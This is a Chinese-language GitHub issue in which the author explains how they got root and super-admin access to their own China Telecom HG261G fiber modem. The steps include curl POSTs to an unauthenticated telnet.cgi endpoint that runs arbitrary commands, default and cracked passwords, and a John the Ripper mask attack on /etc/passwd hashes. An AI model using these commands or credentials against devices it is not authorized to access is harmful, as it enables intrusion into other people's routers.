Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

破解电信光猫HG261G超级账号密码 #8

Open
ngn999 opened this issue Sep 7, 2015 · 0 comments
Open

破解电信光猫HG261G超级账号密码 #8

ngn999 opened this issue Sep 7, 2015 · 0 comments
Assignees

Comments

@ngn999
Copy link
Owner

ngn999 commented Sep 7, 2015

起因

用amule下片时,一直提示我是low ID,太欺负人了,不行,我要弄到high ID. google一圈,说是要开端口映射,这又需要用超级账号登陆电信光猫。这个超级账号密码,电信是不会告诉你的,只能自己破解了。

google一下一堆的破解电信光猫的文章,一般大致过程:

  • telnet 192.168.1.1, 账号: root, 密码: admin
  • root上去后,grep telecomadmin配置文件,找到telecomadinxxxxxxxx这个类似的密码
  • 浏览器打开192.168.1.1,用telecomadmin登陆。开端口映射等;关tr069协议,禁止电信远程修改光猫配置

开启telnet

但是, 我手上这个HG261G有点头疼,它直接禁止了telnet, 不能被这一点点困难吓倒。

随便看看,发现 http://192.168.1.1/cgi-bin/, http://192.168.1.1/js/, http://192.168.1.1/html/ 这些目录是可以list出来的,那些js文件还可以打开看看,cgi脚本就不行了,那是在服务器端执行的。

浏览cgi脚本,发现有几个文件比较可能是突破口:

  • cgi-bin/enabletelnet.cgi
  • cgi-bin/telnetenable.cgi
  • cgi-bin/telnet.cgi
  • services.cgi

再看看js/目录,找几个文件看看,就可以发现这些脚本怎么传参数了。比喻你看js/telnet.js:

function  telnetReceived(success, data)
{
        $("#panel_content").show();
        if (!success){
                alert("get data failed");
                return;
        } 
}

function telnetSaveApply(){
        var test = telnetTestFields();
        if (test == true) 
        {
                        var light=document.getElementById('light');
                        var fade=document.getElementById('fade');
                        light.style.display='block';
                        fade.style.display='block';
            var telnetJSON = telnetPrepareJSON();
            settelnetInfo(telnetJSON, function(success, error_desc){
                if (!success) 
                    alert(_(error_desc));
                else {
                                        $("#panel_content").hide();
                                        light.style.display='none';
                                        fade.style.display='none';
                                        popUpWindow('./cgi-bin/submit.cgi','350,350,500,300');
                    gettelnetInfo(telnetReceived);
                }
            });
        }
}

function popUpWindow(URLStr, left, top, width, height)
{
        var popUpWin=0;
        if(popUpWin)
        {
                if(!popUpWin.closed) popUpWin.close();
        }
        popUpWin = open(URLStr, 'popUpWin', 'toolbar=yes,location=no,directories=no,status=no,menubar=yes,scrollbars=yes,resizable=yes,copyhistory=yes,width='+width+',height='+height+',left='+left+', top='+top+',screenX='+left+',screenY='+top+'');
}

function telnetTestFields(){
  return true;
}  

function telnetPrepareJSON(){
  var telnetData = new Object();
        telnetData.InputCmd = $("#order").val();
    var telnetJSON = new Object();
    telnetJSON.TELNET = telnetData;   
    return telnetData;
}

这就是说给/cgi-bin/telnet.js POST一个 InputCmd参数就好了,就能执行了?
具体的应该是一个json:

{
"InputCmd": "ls"
}

用curl测试一下:

curl -s -d 'InputCmd=ls' '192.168.1.1/cgi-bin/telnet.cgi'    

可以打开 http://192.168.1.1/cgi-bin/telnet_output.log 看看结果。

。。。

成功开启telnet后,悲剧的发现root密码不是admin.他们更新了!

用useradmin, 密码K36Sa(印在光猫上的)可以登录telnet.

找到telnet的root密码

浏览/etc/passwd文件发现,有两个账号root, telecomadmin是我感兴趣的,就去找了john这个破解工具,开始暴力破解了。

既然useradmin的密码是K36Sa, 那我就大胆猜测root, telecomadmin的密码也是5位的,就给john配了个MASK: [a-zA-Z0-9][a-zA-Z0-9][a-zA-Z0-9][a-zA-Z0-9][a-zA-Z0-9],
开工:
./run/john --users=telecomadmin --mask --format=aix-smd5 passwd

john记得下载社区改进版。

用了10多个小时,终于破解了root密码: hg2x0.

用root密码找到telecomadmin密码

后记

发现还能这么玩:

curl -s -d 'InputCmd=cat%20telnet.cgi' '192.168.1.1/cgi-bin/telnet.cgi'

再打开 http://192.168.1.1/cgi-bin/telnet_output.log

@ngn999 ngn999 changed the title 电信光猫HG260G破解 电信光猫HG261G破解 Sep 7, 2015
@ngn999 ngn999 changed the title 电信光猫HG261G破解 破解电信光猫HG261G超级账号密码 Sep 7, 2015
@ngn999 ngn999 self-assigned this Dec 8, 2016
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant